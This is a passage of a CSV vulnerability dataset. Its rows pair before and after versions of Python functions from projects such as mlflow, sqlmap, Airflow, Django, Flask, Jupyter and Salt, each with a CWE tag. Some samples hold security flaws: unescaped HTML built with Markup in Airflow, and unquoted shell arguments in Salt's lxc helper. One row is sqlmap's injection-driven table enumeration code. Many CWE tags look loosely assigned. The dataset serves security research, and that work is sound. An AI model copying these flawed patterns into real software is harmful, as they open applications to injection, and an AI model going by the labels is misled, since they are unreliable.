                clauses.append(order_value)
            else:
                clauses.append(order_value.desc())

    clauses.append(SqlRun.start_time.desc())
    clauses.append(SqlRun.run_uuid)
    return clauses, ordering_joins",,mlflow/mlflow,230c7d722c9d52522a1b7b4ce76b79b86273c190,"def _get_orderby_clauses(order_by_list, session):
    """"""Sorts a set of runs based on their natural ordering and an overriding set of order_bys.
    Runs are naturally ordered first by start time descending, then by run id for tie-breaking.
    """"""

    clauses = []
    ordering_joins = []
    clause_id = 0
    # contrary to filters, it is not easily feasible to separately handle sorting
    # on attributes and on joined tables as we must keep all clauses in the same order
    if order_by_list:
        for order_by_clause in order_by_list:
            clause_id += 1
            (key_type, key, ascending) = SearchUtils.parse_order_by(order_by_clause)
            if SearchUtils.is_attribute(key_type, '='):
                order_value = getattr(SqlRun, SqlRun.get_attribute_name(key))
            else:
                if SearchUtils.is_metric(key_type, '='):  # any valid comparator
                    entity = SqlLatestMetric
                elif SearchUtils.is_tag(key_type, '='):
                    entity = SqlTag
                elif SearchUtils.is_param(key_type, '='):
                    entity = SqlParam
                else:
                    raise MlflowException(""Invalid identifier type '%s'"" % key_type,
                                          error_code=INVALID_PARAMETER_VALUE)

                # build a subquery first because we will join it in the main request so that the
                # metric we want to sort on is available when we apply the sorting clause
                subquery = session \
                    .query(entity) \
                    .filter(entity.key == key) \
                    .subquery()

                ordering_joins.append(subquery)
                order_value = subquery.c.value

            # sqlite does not support NULLS LAST expression, so we sort first by
            # presence of the field (and is_nan for metrics), then by actual value
            # As the subqueries are created independently and used later in the
            # same main query, the CASE WHEN columns need to have unique names to
            # avoid ambiguity
            if SearchUtils.is_metric(key_type, '='):
                clauses.append(sql.case([
                    (subquery.c.is_nan.is_(True), 1),
                    (order_value.is_(None), 1)
                ], else_=0).label('clause_%s' % clause_id))
            else:  # other entities do not have an 'is_nan' field
                clauses.append(sql.case([(order_value.is_(None), 1)], else_=0)
                               .label('clause_%s' % clause_id))

            if ascending:
                clauses.append(order_value)
            else:
                clauses.append(order_value.desc())

    clauses.append(SqlRun.start_time.desc())
    clauses.append(SqlRun.run_uuid)
    return clauses, ordering_joins"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/mssqlserver/enumeration.py,0,"def searchTable(self):
        rootQuery = queries[backend.getIdentifiedDbms()].search_table
        foundTbls = {}
        tblList = conf.tbl.split("","")
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2

        tblConsider, tblCondParam = self.likeOrExact(""table"")

        if not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            if isinstance(db, list):
                db = db[0]

            foundTbls[db] = []

        for tbl in tblList:
            infoMsg = ""searching table""
            if tblConsider == ""1"":
                infoMsg += ""s like""
            infoMsg += "" '%s'"" % tbl
            logger.info(infoMsg)

            tblQuery = ""%s%s"" % (tblCond, tblCondParam)
            tblQuery = tblQuery % tbl

            for db in foundTbls.keys():
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = ""skipping system database '%s'"" % db
                    logger.info(infoMsg)

                    continue

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
                    query = rootQuery.inband.query % db
                    query += tblQuery
                    values = inject.getValue(query, blind=False)

                    if values:
                        if isinstance(values, basestring):
                            values = [ values ]

                        for foundTbl in values:
                            foundTbls[db].append(foundTbl)
                else:
                    infoMsg = ""fetching number of table""
                    if tblConsider == ""1"":
                        infoMsg += ""s like""
                    infoMsg += "" '%s' in database '%s'"" % (tbl, db)
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    query = query % db
                    query += "" AND %s"" % tblQuery
                    count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)

                    if not isNumPosStrValue(count):
                        warnMsg = ""no table""
                        if tblConsider == ""1"":
                            warnMsg += ""s like""
                        warnMsg += "" '%s' "" % tbl
                        warnMsg += ""in database '%s'"" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2
                        query = query % db
                        query += "" AND %s"" % tblQuery
                        query = agent.limitQuery(index, query, tblCond)
                        tbl = inject.getValue(query, inband=False, error=False)
                        kb.hintValue = tbl
                        foundTbls[db].append(tbl)

        for db, tbls in foundTbls.items():
            if len(tbls) == 0:
                foundTbls.pop(db)

        return foundTbls",,sqlmapproject/sqlmap,b1d6040a4841034d12724f7286e872c4a14af1f8,"def searchTable(self):
        rootQuery = queries[backend.getIdentifiedDbms()].search_table
        foundTbls = {}
        tblList = conf.tbl.split("","")
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2

        tblConsider, tblCondParam = self.likeOrExact(""table"")

        if not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            foundTbls[db] = []

        for tbl in tblList:
            infoMsg = ""searching table""
            if tblConsider == ""1"":
                infoMsg += ""s like""
            infoMsg += "" '%s'"" % tbl
            logger.info(infoMsg)

            tblQuery = ""%s%s"" % (tblCond, tblCondParam)
            tblQuery = tblQuery % tbl

            for db in foundTbls.keys():
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = ""skipping system database '%s'"" % db
                    logger.info(infoMsg)

                    continue

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
                    query = rootQuery.inband.query % db
                    query += tblQuery
                    values = inject.getValue(query, blind=False)

                    if values:
                        if isinstance(values, basestring):
                            values = [ values ]

                        for foundTbl in values:
                            foundTbls[db].append(foundTbl)
                else:
                    infoMsg = ""fetching number of table""
                    if tblConsider == ""1"":
                        infoMsg += ""s like""
                    infoMsg += "" '%s' in database '%s'"" % (tbl, db)
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    query = query % db
                    query += "" AND %s"" % tblQuery
                    count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)

                    if not isNumPosStrValue(count):
                        warnMsg = ""no table""
                        if tblConsider == ""1"":
                            warnMsg += ""s like""
                        warnMsg += "" '%s' "" % tbl
                        warnMsg += ""in database '%s'"" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2
                        query = query % db
                        query += "" AND %s"" % tblQuery
                        query = agent.limitQuery(index, query, tblCond)
                        tbl = inject.getValue(query, inband=False, error=False)
                        kb.hintValue = tbl
                        foundTbls[db].append(tbl)

        for db, tbls in foundTbls.items():
            if len(tbls) == 0:
                foundTbls.pop(db)

        return foundTbls"
,UNKNOWN,UNKNOWN,tests/www/test_security.py,1,"def test_create_dag_specific_permissions(session, security_manager, monkeypatch, sample_dags):
    access_control = {""Public"": {permissions.ACTION_CAN_READ}}

    collect_dags_from_db_mock = mock.Mock()
    dagbag_mock = mock.Mock()
    dagbag_mock.dags = {dag.dag_id: dag for dag in sample_dags}
    dagbag_mock.collect_dags_from_db = collect_dags_from_db_mock
    dagbag_class_mock = mock.Mock()
    dagbag_class_mock.return_value = dagbag_mock
    import airflow.www.security

    monkeypatch.setitem(
        airflow.auth.managers.fab.security_manager.override.__dict__, ""DagBag"", dagbag_class_mock
    )
    security_manager._sync_dag_view_permissions = mock.Mock()

    for dag in sample_dags:
        dag_resource_name = permissions.resource_name_for_dag(dag.dag_id)
        all_perms = security_manager.get_all_permissions()
        assert (""can_read"", dag_resource_name) not in all_perms
        assert (""can_edit"", dag_resource_name) not in all_perms

    security_manager.create_dag_specific_permissions()

    dagbag_class_mock.assert_called_once_with(read_dags_from_db=True)
    collect_dags_from_db_mock.assert_called_once_with()

    for dag in sample_dags:
        dag_resource_name = permissions.resource_name_for_dag(dag.dag_id)
        all_perms = security_manager.get_all_permissions()
        assert (""can_read"", dag_resource_name) in all_perms
        assert (""can_edit"", dag_resource_name) in all_perms

    security_manager._sync_dag_view_permissions.assert_called_once_with(
        permissions.resource_name_for_dag(""has_access_control""),
        access_control,
    )

    del dagbag_mock.dags[""has_access_control""]
    with assert_queries_count(2):  # two query to get all perms; dagbag is mocked
        # The extra query happens at permission check
        security_manager.create_dag_specific_permissions()",CWE-703,apache/airflow,c2046245c07fdd6eb05b996cc67c203c5ac456b6,"def test_create_dag_specific_permissions(session, security_manager, monkeypatch, sample_dags):
    access_control = {""Public"": {permissions.ACTION_CAN_READ}}

    collect_dags_from_db_mock = mock.Mock()
    dagbag_mock = mock.Mock()
    dagbag_mock.dags = {dag.dag_id: dag for dag in sample_dags}
    dagbag_mock.collect_dags_from_db = collect_dags_from_db_mock
    dagbag_class_mock = mock.Mock()
    dagbag_class_mock.return_value = dagbag_mock
    import airflow.www.security

    monkeypatch.setitem(airflow.www.security_manager.__dict__, ""DagBag"", dagbag_class_mock)
    security_manager._sync_dag_view_permissions = mock.Mock()

    for dag in sample_dags:
        dag_resource_name = permissions.resource_name_for_dag(dag.dag_id)
        all_perms = security_manager.get_all_permissions()
        assert (""can_read"", dag_resource_name) not in all_perms
        assert (""can_edit"", dag_resource_name) not in all_perms

    security_manager.create_dag_specific_permissions()

    dagbag_class_mock.assert_called_once_with(read_dags_from_db=True)
    collect_dags_from_db_mock.assert_called_once_with()

    for dag in sample_dags:
        dag_resource_name = permissions.resource_name_for_dag(dag.dag_id)
        all_perms = security_manager.get_all_permissions()
        assert (""can_read"", dag_resource_name) in all_perms
        assert (""can_edit"", dag_resource_name) in all_perms

    security_manager._sync_dag_view_permissions.assert_called_once_with(
        permissions.resource_name_for_dag(""has_access_control""),
        access_control,
    )

    del dagbag_mock.dags[""has_access_control""]
    with assert_queries_count(2):  # two query to get all perms; dagbag is mocked
        # The extra query happens at permission check
        security_manager.create_dag_specific_permissions()"
,UNKNOWN,UNKNOWN,django/db/models/query.py,1,"def delete(self):
        """"""Delete the records in the current QuerySet.""""""
        self._not_support_combined_queries('delete')
        assert not self.query.is_sliced, \
            ""Cannot use 'limit' or 'offset' with delete.""

        if self.query.distinct or self.query.distinct_fields:
            raise TypeError('Cannot call delete() after .distinct().')
        if self._fields is not None:
            raise TypeError(""Cannot call delete() after .values() or .values_list()"")

        del_query = self._chain()

        # The delete is actually 2 queries - one to find related objects,
        # and one to delete. Make sure that the discovery of related
        # objects is performed on the same database as the deletion.
        del_query._for_write = True

        # Disable non-supported fields.
        del_query.query.select_for_update = False
        del_query.query.select_related = False
        del_query.query.clear_ordering(force_empty=True)

        collector = Collector(using=del_query.db)
        collector.collect(del_query)
        deleted, _rows_count = collector.delete()

        # Clear the result cache, in case this QuerySet gets reused.
        self._result_cache = None
        return deleted, _rows_count",CWE-703,django/django,aa1aed923b391b56d514be499c4ddf4b5110b377,"def delete(self):
        """"""Delete the records in the current QuerySet.""""""
        self._not_support_combined_queries('delete')
        assert not self.query.is_sliced, \
            ""Cannot use 'limit' or 'offset' with delete.""

        if self._fields is not None:
            raise TypeError(""Cannot call delete() after .values() or .values_list()"")

        del_query = self._chain()

        # The delete is actually 2 queries - one to find related objects,
        # and one to delete. Make sure that the discovery of related
        # objects is performed on the same database as the deletion.
        del_query._for_write = True

        # Disable non-supported fields.
        del_query.query.select_for_update = False
        del_query.query.select_related = False
        del_query.query.clear_ordering(force_empty=True)

        collector = Collector(using=del_query.db)
        collector.collect(del_query)
        deleted, _rows_count = collector.delete()

        # Clear the result cache, in case this QuerySet gets reused.
        self._result_cache = None
        return deleted, _rows_count"
,UNKNOWN,UNKNOWN,tests/models/test_dagbag.py,1,"def test_get_dag_with_dag_serialization(self):
        """"""
        Test that Serialized DAG is updated in DagBag when it is updated in
        Serialized DAG table after 'min_serialized_dag_fetch_interval' seconds are passed.
        """"""

        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 0)), tick=False):
            example_bash_op_dag = DagBag(include_examples=True).dags.get(""example_bash_operator"")
            SerializedDagModel.write_dag(dag=example_bash_op_dag)

            dag_bag = DagBag(read_dags_from_db=True)
            ser_dag_1 = dag_bag.get_dag(""example_bash_operator"")
            ser_dag_1_update_time = dag_bag.dags_last_fetched[""example_bash_operator""]
            assert example_bash_op_dag.tags == ser_dag_1.tags
            assert ser_dag_1_update_time == tz.datetime(2020, 1, 5, 0, 0, 0)

        # Check that if min_serialized_dag_fetch_interval has not passed we do not fetch the DAG
        # from DB
        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 4)), tick=False):
            with assert_queries_count(0):
                assert dag_bag.get_dag(""example_bash_operator"").tags == {""example"", ""example2""}

        # Make a change in the DAG and write Serialized DAG to the DB
        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 6)), tick=False):
            example_bash_op_dag.tags.add(""new_tag"")
            SerializedDagModel.write_dag(dag=example_bash_op_dag)

        # Since min_serialized_dag_fetch_interval is passed verify that calling 'dag_bag.get_dag'
        # fetches the Serialized DAG from DB
        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 8)), tick=False):
            with assert_queries_count(2):
                updated_ser_dag_1 = dag_bag.get_dag(""example_bash_operator"")
                updated_ser_dag_1_update_time = dag_bag.dags_last_fetched[""example_bash_operator""]

        assert set(updated_ser_dag_1.tags) == {""example"", ""example2"", ""new_tag""}
        assert updated_ser_dag_1_update_time > ser_dag_1_update_time",CWE-703,apache/airflow,bdab7dc28d15aec230b6aa91f5b43d45a9a1dcea,"def test_get_dag_with_dag_serialization(self):
        """"""
        Test that Serialized DAG is updated in DagBag when it is updated in
        Serialized DAG table after 'min_serialized_dag_fetch_interval' seconds are passed.
        """"""

        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 0)), tick=False):
            example_bash_op_dag = DagBag(include_examples=True).dags.get(""example_bash_operator"")
            SerializedDagModel.write_dag(dag=example_bash_op_dag)

            dag_bag = DagBag(read_dags_from_db=True)
            ser_dag_1 = dag_bag.get_dag(""example_bash_operator"")
            ser_dag_1_update_time = dag_bag.dags_last_fetched[""example_bash_operator""]
            assert example_bash_op_dag.tags == ser_dag_1.tags
            assert ser_dag_1_update_time == tz.datetime(2020, 1, 5, 0, 0, 0)

        # Check that if min_serialized_dag_fetch_interval has not passed we do not fetch the DAG
        # from DB
        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 4)), tick=False):
            with assert_queries_count(0):
                assert dag_bag.get_dag(""example_bash_operator"").tags == [""example"", ""example2""]

        # Make a change in the DAG and write Serialized DAG to the DB
        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 6)), tick=False):
            example_bash_op_dag.tags += [""new_tag""]
            SerializedDagModel.write_dag(dag=example_bash_op_dag)

        # Since min_serialized_dag_fetch_interval is passed verify that calling 'dag_bag.get_dag'
        # fetches the Serialized DAG from DB
        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 8)), tick=False):
            with assert_queries_count(2):
                updated_ser_dag_1 = dag_bag.get_dag(""example_bash_operator"")
                updated_ser_dag_1_update_time = dag_bag.dags_last_fetched[""example_bash_operator""]

        assert set(updated_ser_dag_1.tags) == {""example"", ""example2"", ""new_tag""}
        assert updated_ser_dag_1_update_time > ser_dag_1_update_time"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/helpers.py,0,"def send_file(filename_or_fp, mimetype=None, as_attachment=False,
              attachment_filename=None, add_etags=True,
              cache_timeout=60 * 60 * 12, conditional=False):
    """"""Sends the contents of a file to the client.  This will use the
    most efficient method available and configured.  By default it will
    try to use the WSGI server's file_wrapper support.  Alternatively
    you can set the application's :attr:`~Flask.use_x_sendfile` attribute
    to ``True`` to directly emit an `X-Sendfile` header.  This however
    requires support of the underlying webserver for `X-Sendfile`.

    By default it will try to guess the mimetype for you, but you can
    also explicitly provide one.  For extra security you probably want
    to send certain files as attachment (HTML for instance).  The mimetype
    guessing requires a `filename` or an `attachment_filename` to be
    provided.

    Please never pass filenames to this function from user sources without
    checking them first.  Something like this is usually sufficient to
    avoid security problems::

        if '..' in filename or filename.startswith('/'):
            abort(404)

    .. versionadded:: 0.2

    .. versionadded:: 0.5
       The `add_etags`, `cache_timeout` and `conditional` parameters were
       added.  The default behaviour is now to attach etags.

    .. versionchanged:: 0.7
       mimetype guessing and etag support for file objects was
       deprecated because it was unreliable.  Pass a filename if you are
       able to, otherwise attach an etag yourself.  This functionality
       will be removed in Flask 1.0

    :param filename_or_fp: the filename of the file to send.  This is
                           relative to the :attr:`~Flask.root_path` if a
                           relative path is specified.
                           Alternatively a file object might be provided
                           in which case `X-Sendfile` might not work and
                           fall back to the traditional method.  Make sure
                           that the file pointer is positioned at the start
                           of data to send before calling :func:`send_file`.
    :param mimetype: the mimetype of the file if provided, otherwise
                     auto detection happens.
    :param as_attachment: set to `True` if you want to send this file with
                          a ``Content-Disposition: attachment`` header.
    :param attachment_filename: the filename for the attachment if it
                                differs from the file's filename.
    :param add_etags: set to `False` to disable attaching of etags.
    :param conditional: set to `True` to enable conditional responses.
    :param cache_timeout: the timeout in seconds for the headers.
    """"""
    mtime = None
    if isinstance(filename_or_fp, basestring):
        filename = filename_or_fp
        file = None
    else:
        from warnings import warn
        file = filename_or_fp
        filename = getattr(file, 'name', None)

        # XXX: this behaviour is now deprecated because it was unreliable.
        # removed in Flask 1.0
        if not attachment_filename and not mimetype \
           and isinstance(filename, basestring):
            warn(DeprecationWarning('The filename support for file objects '
                'passed to send_file is not deprecated.  Pass an '
                'attach_filename if you want mimetypes to be guessed.'),
                stacklevel=2)
        if add_etags:
            warn(DeprecationWarning('In future flask releases etags will no '
                'longer be generated for file objects passed to the send_file '
                'function because this behaviour was unreliable.  Pass '
                'filenames instead if possible, otherwise attach an etag '
                'yourself based on another value'), stacklevel=2)

    if filename is not None:
        if not os.path.isabs(filename):
            filename = os.path.join(current_app.root_path, filename)
    if mimetype is None and (filename or attachment_filename):
        mimetype = mimetypes.guess_type(filename or attachment_filename)[0]
    if mimetype is None:
        mimetype = 'application/octet-stream'

    headers = Headers()
    if as_attachment:
        if attachment_filename is None:
            if filename is None:
                raise TypeError('filename unavailable, required for '
                                'sending as attachment')
            attachment_filename = os.path.basename(filename)
        headers.add('Content-Disposition', 'attachment',
                    filename=attachment_filename)

    if current_app.use_x_sendfile and filename:
        if file is not None:
            file.close()
        headers['X-Sendfile'] = filename
        data = None
    else:
        if file is None:
            file = open(filename, 'rb')
            mtime = os.path.getmtime(filename)
        data = wrap_file(request.environ, file)

    rv = current_app.response_class(data, mimetype=mimetype, headers=headers,
                                    direct_passthrough=True)

    # if we know the file modification date, we can store it as the
    # the time of the last modification.
    if mtime is not None:
        rv.last_modified = int(mtime)

    rv.cache_control.public = True
    if cache_timeout:
        rv.cache_control.max_age = cache_timeout
        rv.expires = int(time() + cache_timeout)

    if add_etags and filename is not None:
        rv.set_etag('flask-%s-%s-%s' % (
            os.path.getmtime(filename),
            os.path.getsize(filename),
            adler32(filename) & 0xffffffff
        ))
        if conditional:
            rv = rv.make_conditional(request)
            # make sure we don't send x-sendfile for servers that
            # ignore the 304 status code for x-sendfile.
            if rv.status_code == 304:
                rv.headers.pop('x-sendfile', None)
    return rv",,pallets/flask,0bf777ed81d5296fb722931d35e5db4333e3de39,"def send_file(filename_or_fp, mimetype=None, as_attachment=False,
              attachment_filename=None, add_etags=True,
              cache_timeout=60 * 60 * 12, conditional=False):
    """"""Sends the contents of a file to the client.  This will use the
    most efficient method available and configured.  By default it will
    try to use the WSGI server's file_wrapper support.  Alternatively
    you can set the application's :attr:`~Flask.use_x_sendfile` attribute
    to ``True`` to directly emit an `X-Sendfile` header.  This however
    requires support of the underlying webserver for `X-Sendfile`.

    By default it will try to guess the mimetype for you, but you can
    also explicitly provide one.  For extra security you probably want
    to send certain files as attachment (HTML for instance).  The mimetype
    guessing requires a `filename` or an `attachment_filename` to be
    provided.

    Please never pass filenames to this function from user sources without
    checking them first.  Something like this is usually sufficient to
    avoid security problems::

        if '..' in filename or filename.startswith('/'):
            abort(404)

    .. versionadded:: 0.2

    .. versionadded:: 0.5
       The `add_etags`, `cache_timeout` and `conditional` parameters were
       added.  The default behaviour is now to attach etags.

    .. versionchanged:: 0.7
       mimetype guessing and etag support for file objects was
       deprecated because it was unreliable.  Pass a filename if you are
       able to, otherwise attach an etag yourself.  This functionality
       will be removed in Flask 1.0

    :param filename_or_fp: the filename of the file to send.  This is
                           relative to the :attr:`~Flask.root_path` if a
                           relative path is specified.
                           Alternatively a file object might be provided
                           in which case `X-Sendfile` might not work and
                           fall back to the traditional method.  Make sure
                           that the file pointer is positioned at the start
                           of data to send before calling :func:`send_file`.
    :param mimetype: the mimetype of the file if provided, otherwise
                     auto detection happens.
    :param as_attachment: set to `True` if you want to send this file with
                          a ``Content-Disposition: attachment`` header.
    :param attachment_filename: the filename for the attachment if it
                                differs from the file's filename.
    :param add_etags: set to `False` to disable attaching of etags.
    :param conditional: set to `True` to enable conditional responses.
    :param cache_timeout: the timeout in seconds for the headers.
    """"""
    mtime = None
    if isinstance(filename_or_fp, basestring):
        filename = filename_or_fp
        file = None
    else:
        from warnings import warn
        file = filename_or_fp
        filename = getattr(file, 'name', None)

        # XXX: this behaviour is now deprecated because it was unreliable.
        # removed in Flask 1.0
        if not attachment_filename and not mimetype \
           and isinstance(filename, basestring):
            warn(DeprecationWarning('The filename support for file objects '
                'passed to send_file is not deprecated.  Pass an '
                'attach_filename if you want mimetypes to be guessed.'),
                stacklevel=2)
        if add_etags:
            warn(DeprecationWarning('In future flask releases etags will no '
                'longer be generated for file objects passed to the send_file '
                'function because this behaviour was unreliable.  Pass '
                'filenames instead if possible, otherwise attach an etag '
                'yourself based on another value'), stacklevel=2)

    if filename is not None:
        if not os.path.isabs(filename):
            filename = os.path.join(current_app.root_path, filename)
    if mimetype is None and (filename or attachment_filename):
        mimetype = mimetypes.guess_type(filename or attachment_filename)[0]
    if mimetype is None:
        mimetype = 'application/octet-stream'

    headers = Headers()
    if as_attachment:
        if attachment_filename is None:
            if filename is None:
                raise TypeError('filename unavailable, required for '
                                'sending as attachment')
            attachment_filename = os.path.basename(filename)
        headers.add('Content-Disposition', 'attachment',
                    filename=attachment_filename)

    if current_app.use_x_sendfile and filename:
        if file is not None:
            file.close()
        headers['X-Sendfile'] = filename
        data = None
    else:
        if file is None:
            file = open(filename, 'rb')
            mtime = os.path.getmtime(filename)
        data = wrap_file(request.environ, file)

    rv = current_app.response_class(data, mimetype=mimetype, headers=headers,
                                    direct_passthrough=True)

    # if we know the file modification date, we can store it as the
    # current time to better support conditional requests.  Werkzeug
    # as of 0.6.1 will override this value however in the conditional
    # response with the current time.  This will be fixed in Werkzeug
    # with a new release, however many WSGI servers will still emit
    # a separate date header.
    if mtime is not None:
        rv.date = int(mtime)

    rv.cache_control.public = True
    if cache_timeout:
        rv.cache_control.max_age = cache_timeout
        rv.expires = int(time() + cache_timeout)

    if add_etags and filename is not None:
        rv.set_etag('flask-%s-%s-%s' % (
            os.path.getmtime(filename),
            os.path.getsize(filename),
            adler32(filename) & 0xffffffff
        ))
        if conditional:
            rv = rv.make_conditional(request)
            # make sure we don't send x-sendfile for servers that
            # ignore the 304 status code for x-sendfile.
            if rv.status_code == 304:
                rv.headers.pop('x-sendfile', None)
    return rv"
,UNKNOWN,UNKNOWN,tests/utils/test_search_utils.py,1,"def test_correct_sorting(order_bys, matching_runs):
    runs = [
        Run(
            run_info=RunInfo(
                run_uuid=""9"",
                run_id=""9"",
                experiment_id=0,
                user_id=""user-id"",
                status=RunStatus.to_string(RunStatus.FAILED),
                start_time=0,
                end_time=1,
                lifecycle_stage=LifecycleStage.ACTIVE,
            ),
            run_data=RunData(
                metrics=[Metric(""key1"", 121, 1, 0)], params=[Param(""my_param"", ""A"")], tags=[]
            ),
        ),
        Run(
            run_info=RunInfo(
                run_uuid=""8"",
                run_id=""8"",
                experiment_id=0,
                user_id=""user-id"",
                status=RunStatus.to_string(RunStatus.FINISHED),
                start_time=1,
                end_time=1,
                lifecycle_stage=LifecycleStage.ACTIVE,
            ),
            run_data=RunData(
                metrics=[Metric(""key1"", 123, 1, 0)],
                params=[Param(""my_param"", ""A"")],
                tags=[RunTag(""tag1"", ""C"")],
            ),
        ),
        Run(
            run_info=RunInfo(
                run_uuid=""7"",
                run_id=""7"",
                experiment_id=1,
                user_id=""user-id"",
                status=RunStatus.to_string(RunStatus.FAILED),
                start_time=1,
                end_time=1,
                lifecycle_stage=LifecycleStage.ACTIVE,
            ),
            run_data=RunData(
                metrics=[Metric(""key1"", 125, 1, 0)],
                params=[Param(""my_param"", ""B"")],
                tags=[RunTag(""tag1"", ""D"")],
            ),
        ),
    ]
    sorted_runs = SearchUtils.sort(runs, order_bys)
    sorted_run_indices = []
    for run in sorted_runs:
        for i, r in enumerate(runs):
            if r == run:
                sorted_run_indices.append(i)
                break
    assert sorted_run_indices == matching_runs",CWE-703,mlflow/mlflow,4d4b462bfdff40dec95444c784a640b9ab8e06b3,"def test_correct_sorting(order_bys, matching_runs):
    runs = [
        Run(
            run_info=RunInfo(
                run_uuid=""9"",
                run_id=""9"",
                experiment_id=0,
                user_id=""user-id"",
                status=RunStatus.to_string(RunStatus.FAILED),
                start_time=0,
                end_time=1,
                lifecycle_stage=LifecycleStage.ACTIVE,
            ),
            run_data=RunData(
                metrics=[Metric(""key1"", 121, 1, 0)], params=[Param(""my_param"", ""A"")], tags=[]
            ),
        ),
        Run(
            run_info=RunInfo(
                run_uuid=""8"",
                run_id=""8"",
                experiment_id=0,
                user_id=""user-id"",
                status=RunStatus.to_string(RunStatus.FINISHED),
                start_time=1,
                end_time=1,
                lifecycle_stage=LifecycleStage.ACTIVE,
            ),
            run_data=RunData(
                metrics=[Metric(""key1"", 123, 1, 0)],
                params=[Param(""my_param"", ""A"")],
                tags=[RunTag(""tag1"", ""C"")],
            ),
        ),
        Run(
            run_info=RunInfo(
                run_uuid=""7"",
                run_id=""7"",
                experiment_id=1,
                user_id=""user-id"",
                status=RunStatus.to_string(RunStatus.FAILED),
                start_time=1,
                end_time=1,
                lifecycle_stage=LifecycleStage.ACTIVE,
            ),
            run_data=RunData(
                metrics=[Metric(""key1"", 125, 1, 0)],
                params=[Param(""my_param"", ""B"")],
                tags=[RunTag(""tag1"", ""D"")],
            ),
        ),
    ]
    sorted_runs = SearchUtils.sort(runs, order_bys)
    sorted_run_indices = []
    for run in sorted_runs:
        for i, r in enumerate(runs):
            if r == run:
                sorted_run_indices.append(i)
                break
    assert sorted_run_indices == matching_runs"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/views.py,0,"def dag_link(v, c, m, p):
    url = url_for(
        'airflow.graph',
        dag_id=m.dag_id)
    return Markup(
        '<a href=""{url}"">{m.dag_id}</a>'.format(**locals()))",CWE-Unknown,apache/airflow,54b361d2a16a1834234b54292a73d89eeb575228,"def dag_link(v, c, m, p):
    url = url_for(
        'airflow.graph',
        dag_id=m.dag_id)
    return Markup(
        '<a href=""{url}"">{m.dag_id}</a>'.format(**locals()))"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/contents/filemanager.py,0,"def rename_file(self, old_path, new_path):
        """"""Rename a file.""""""
        old_path = old_path.strip('/')
        new_path = new_path.strip('/')
        if new_path == old_path:
            return

        if (is_hidden(old_path, self.root_dir) or is_hidden(new_path, self.root_dir)) and not self.allow_hidden:
            raise web.HTTPError(400, f'Cannot rename file or directory {old_path!r}')

        # Perform path validation prior to converting to os-specific value since this
        # is still relative to root_dir.
        self._validate_path(new_path)

        new_os_path = self._get_os_path(new_path)
        old_os_path = self._get_os_path(old_path)

        # Should we proceed with the move?
        if os.path.exists(new_os_path) and not samefile(old_os_path, new_os_path):
            raise web.HTTPError(409, f'File already exists: {new_path}')

        # Move the file
        try:
            with self.perm_to_403():
                shutil.move(old_os_path, new_os_path)
        except web.HTTPError:
            raise
        except Exception as e:
            raise web.HTTPError(500, f'Unknown error renaming file: {old_path} {e}') from e",,jupyter/notebook,3c7afbdff6ec33e61531b3cbe3bc20b8440d3181,"def rename_file(self, old_path, new_path):
        """"""Rename a file.""""""
        old_path = old_path.strip('/')
        new_path = new_path.strip('/')
        if new_path == old_path:
            return

        if (is_hidden(old_path, self.root_dir) or is_hidden(new_path, self.root_dir)) and not self.allow_hidden:
            raise web.HTTPError(400, f'Cannot rename file or directory {os_path!r}')

        # Perform path validation prior to converting to os-specific value since this
        # is still relative to root_dir.
        self._validate_path(new_path)

        new_os_path = self._get_os_path(new_path)
        old_os_path = self._get_os_path(old_path)

        # Should we proceed with the move?
        if os.path.exists(new_os_path) and not samefile(old_os_path, new_os_path):
            raise web.HTTPError(409, f'File already exists: {new_path}')

        # Move the file
        try:
            with self.perm_to_403():
                shutil.move(old_os_path, new_os_path)
        except web.HTTPError:
            raise
        except Exception as e:
            raise web.HTTPError(500, f'Unknown error renaming file: {old_path} {e}') from e"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/lxc.py,0,"def _change_state(cmd,
                  name,
                  expected,
                  stdin=_marker,
                  stdout=_marker,
                  stderr=_marker,
                  with_communicate=_marker,
                  use_vt=_marker,
                  path=None):
    pre = state(name, path=path)
    if pre == expected:
        return {'result': True,
                'state': {'old': expected, 'new': expected},
                'comment': 'Container \'{0}\' already {1}'
                           .format(name, expected)}

    if cmd == 'lxc-destroy':
        # Kill the container first
        scmd = 'lxc-stop'
        if path:
            scmd += ' -P {0}'.format(pipes.quote(path))
        scmd += ' -k -n {0}'.format(name)
        __salt__['cmd.run'](scmd,
                            python_shell=False)

    if path and ' -P ' not in cmd:
        cmd += ' -P {0}'.format(pipes.quote(path))
    cmd += ' -n {0}'.format(name)

